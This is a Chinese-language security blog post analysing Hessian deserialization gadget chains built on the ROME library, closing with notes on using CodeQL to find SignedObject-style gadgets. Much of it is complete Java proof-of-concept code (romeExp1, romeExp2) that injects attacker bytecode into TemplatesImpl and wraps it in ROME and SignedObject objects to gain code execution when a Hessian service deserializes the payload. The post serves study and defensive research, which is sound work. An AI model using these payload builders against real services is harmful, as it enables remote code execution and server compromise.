Hessian-ROME 反序列化浅析

什么是Hessian

Hessiancaucho 公司的工程项目,是一个轻量级的RPC框架。它基于HTTP协议传输,使用Hessian二进制序列化,对于数据包比较大的情况比较友好。
Hessian 协议在设计时,重点的几个目标包括了:必须尽可能的快、必须尽可能紧凑、跨语言、不需要外部模式或接口定义等等。
对于这样的设计,caucho 公司其实提供了两种解决方案,一个是 Hession,一个是 BurlapHession 是基于二进制的实现,传输数据更小更快,而 Burlap 的消息是 XML 的,有更好的可读性。两种数据都是基于 HTTP 协议传输。
Hessian 本身作为 Resin 的一部分,但是它的 com.caucho.hessian.clientcom.caucho.hessian.server 包不依赖于任何其他的 Resin 类,因此它也可以使用在任何容器如 Tomcat 中,也可以使用在 EJB 中。事实上很多通讯框架都使用或支持了这个规范来序列化及反序列化类。
作为一个二进制的序列化协议,Hessian 自行定义了一套自己的储存和还原数据的机制。对 8 种基础数据类型、3 种递归类型、ref 引用以及 Hessian 2.0 中的内部引用映射进行了相关定义。这样的设计使得 Hassian 可以进行跨语言跨平台的调用。

Hessian的使用

可以学习su18师傅写的文章

利用链分析

目前常见的 Hessian 利用链在 marshalsec 中共有如下五个:

  • Rome
  • XBean
  • Resin
  • SpringPartiallyComparableAdvisorHolder
  • SpringAbstractBeanFactoryPointcutAdvisor

也就是抽象类 marshalsec.HessianBase 分别实现的 5个接口。
触发漏洞的触发点对应在 HessianBase 的三个实现类:Hessian \ Hessian2 \ Burlap

Rome

根据ysoserial上的调用链,对其进行分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/**
*
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
*
* @author mbechler
*
*/

首先,老生常谈,HashMapreadObject方法中的关键代码为

1
putVal(hash(key), key, value, false, false);

要进入HashMaphash(key)

1
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);

此时要进入keyhashCode()(根据gadget可知,keyObjectBean)

1
return this.equalsBean.beanHashCode();

接着进入EqualsBeanbeanHashCode()

1
return this.obj.toString().hashCode();

根据gadget可知,进入ToStringBeantoString()

1
2
3
...
result = this.toString(prefix);
...

这里传了一个字符串,先进ToStringBeantoString(String)看一下逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);
try {
//获取类属性beanClass的所有getter方法
List<PropertyDescriptor> propertyDescriptors = BeanIntrospector.getPropertyDescriptorsWithGetters(this.beanClass);
//存到迭代器var10中
Iterator var10 = propertyDescriptors.iterator();
while(var10.hasNext()) {
PropertyDescriptor propertyDescriptor = (PropertyDescriptor)var10.next();
//获取getter的属性名
String propertyName = propertyDescriptor.getName();
//获取getter方法
Method getter = propertyDescriptor.getReadMethod();
//invoke,注意,这个getter方法要无参
Object value = getter.invoke(this.obj, NO_PARAMS);
this.printProperty(sb, prefix + "." + propertyName, value);
}
}catch (Exception var9) {
...

从上面我对代码的简单分析就能知道,这里利用TemplatesImpl.getOutputProperties()来实例化恶意类。
这里的beanClass会在new ToStringBean时进行赋值。

下面介绍一下prefix值的来源
选择如下构造函数

1
2
3
4
public ToStringBean(Class<?> beanClass, Object obj) {
this.beanClass = beanClass;
this.obj = obj;
}

使用如下代码进行构造

1
new ToStringBean(Templates.class, templates)

并且在ToStringBeantoString()中存在这样一段代码

1
2
result = this.obj.getClass().getName();
prefix = result.substring(result.lastIndexOf(".") + 1);

这样的话对resultprefix的值就清晰了,也知道了beanClass值为Templates

poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class romeExp1 implements Serializable {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] getEvilCode() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazzz = pool.get(Evil.class.getName());
byte[] code = clazzz.toBytecode();
return code;
}
public static void main(String[] args) throws Exception {
byte[] evilCode = getEvilCode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{evilCode});
setFieldValue(templates, "_name", "alter");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

ObjectBean objectBean = new ObjectBean(String.class, "alter");

HashMap evilMap = new HashMap();
evilMap.put(objectBean, 1);

setFieldValue(objectBean, "equalsBean", equalsBean);

seDse.serialize(evilMap,"romeExp1");
}
}

这里也可以通过JdbcRowSetImpl#getDatabaseMetaData() 方法触发 JNDI 注入,这算比较主流的利用

Rome二次反序列化(TemplatesImpl+SignedObject)

如果环境时不出网的,那就无法配合JNDI去利用了;
Hessian有一个限制:如果是 transientstatic 字段则不会参与序列化反序列化流程。而TemplatesImpl_tfactory就是被transient修饰的字段。因此对于TemplatesImpl的方式,导致被transient修饰的_tfactory对象无法写入造成空指针异常。

为什么原生反序列化就可以恢复这个trasient修饰的变量呢,答案就是在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#readObject中存在如下代码:

1
_tfactory = new TransformerFactoryImpl();

所以当用如下代码序列化+反序列化时,才是真正使用Hessian做序列化和反序列化(之前都是Object类型),但不会执行恶意代码

1
2
3
4
5
6
7
//默认情况下,客户端使用 Hessian 1.0 协议格式发送序列化数据,服务端使用 Hessian 2.0 协议格式返回序列化数据。
Hessian2Output hessianOutput1=new Hessian2Output(new FileOutputStream("romeExp1.ser"));
hessianOutput1.writeObject(evilMap);
hessianOutput1.close();

Hessian2Input input = new Hessian2Input(new FileInputStream("romeExp1.ser"));
input.readObject();

经过如下调用栈后,后面的流程相似

1
2
3
4
5
put:613, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:577, SerializerFactory (com.caucho.hessian.io)
readObject:2093, Hessian2Input (com.caucho.hessian.io)
main:81, romeExp1 (com.alter.serialize.ysoserial)

因此就需要找一个二次反序列化的点,对ToStringBean的构造方法的参数进行反序列化。
二次反序列化其中一个常见的方式是使用 java.security.SignedObject
这个类有个 getObject 方法会从流里使用原生反序列化读取数据,就造成了二次反序列化。

1
2
3
4
5
6
7
8
9
10
11
public Object getObject()
throws IOException, ClassNotFoundException
{
// creating a stream pipe-line, from b to a
ByteArrayInputStream b = new ByteArrayInputStream(this.content);
ObjectInput a = new ObjectInputStream(b);
Object obj = a.readObject();
b.close();
a.close();
return obj;
}

注意,在序列化和反序列化时一定要分别使用Hessian2OutputHessian2Input类型(主要看使用哪种类型进行readObject)
poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
public class romeExp2 {
public static void main(String[] args) throws Exception {
HashMap hashMapx=getObject();

// 此处写法较为固定,用于初始化SignedObject类
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");

SignedObject signedObject = new SignedObject(hashMapx,privateKey,signingEngine);

//构造ToStringBean
ToStringBean toStringBean=new ToStringBean(SignedObject.class,signedObject);
ToStringBean toStringBean1=new ToStringBean(String.class,"s");

//构造ObjectBean
ObjectBean objectBean=new ObjectBean(ToStringBean.class,toStringBean1);

//构造HashMap
HashMap hashMap=new HashMap();
hashMap.put(objectBean,"alter");

//反射修改字段
Field obj= EqualsBean.class.getDeclaredField("obj");
Field equalsBean=ObjectBean.class.getDeclaredField("equalsBean");

obj.setAccessible(true);
equalsBean.setAccessible(true);

obj.set(equalsBean.get(objectBean),toStringBean);

Hessian2Output hessianOutput1=new Hessian2Output(new FileOutputStream("romeExp2.ser"));
hessianOutput1.writeObject(hashMap);
hessianOutput1.close();

Hessian2Input input = new Hessian2Input(new FileInputStream("romeExp2.ser"));
input.readObject();
}
//获取原生反序列化对象
public static HashMap getObject() throws Exception {
//构造TemplatesImpl对象
byte[] bytecode= getEvilCode();
byte[][] bytee= new byte[][]{bytecode};
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_bytecodes",bytee);
setFieldValue(templates,"_name","Code");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

//构造ToStringBean
ToStringBean toStringBean=new ToStringBean(Templates.class,templates);
ToStringBean toStringBean1=new ToStringBean(String.class,"s");

//构造ObjectBean
ObjectBean objectBean=new ObjectBean(ToStringBean.class,toStringBean1);

//构造HashMap
HashMap hashMap=new HashMap();
hashMap.put(objectBean,"alter");

//反射修改字段
Field obj=EqualsBean.class.getDeclaredField("obj");
Field equalsBean=ObjectBean.class.getDeclaredField("equalsBean");

obj.setAccessible(true);
equalsBean.setAccessible(true);

obj.set(equalsBean.get(objectBean),toStringBean);

return hashMap;
}

public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field=obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}
public static byte[] getEvilCode() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazzz = pool.get(HandlerRespond.class.getName());
byte[] code = clazzz.toBytecode();
return code;
}
}

CodeQL查找SignedObject

也自己简单写了一个代码来查找符合二次反序列化入口的方法,限制条件如下:

  • 满足get方法
  • public
  • 无参
  • 能够调用危险方法,如readObjectexecloadClass

数据库我直接用的师傅已经编译好的openjdk8u332
edge只进行一次,可以看到能查到SignedObject
1
但是这里我不知道怎么设置路径长度,如果用edge*的话,有1477条结果,还是比较多的,但是危险方法只设置为readObject的话只有7条。
如果用污点追踪的话,虽然可以限制从source节点所在函数开始最多在往下调用函数的数量,但是该怎么把source设为getter方法呢?

yxxx师傅使用他自己开发的ByteCodeDL,也写了一篇查找方法的文章,感觉有时间可以用一下ByteCodeDL(师傅们太强了)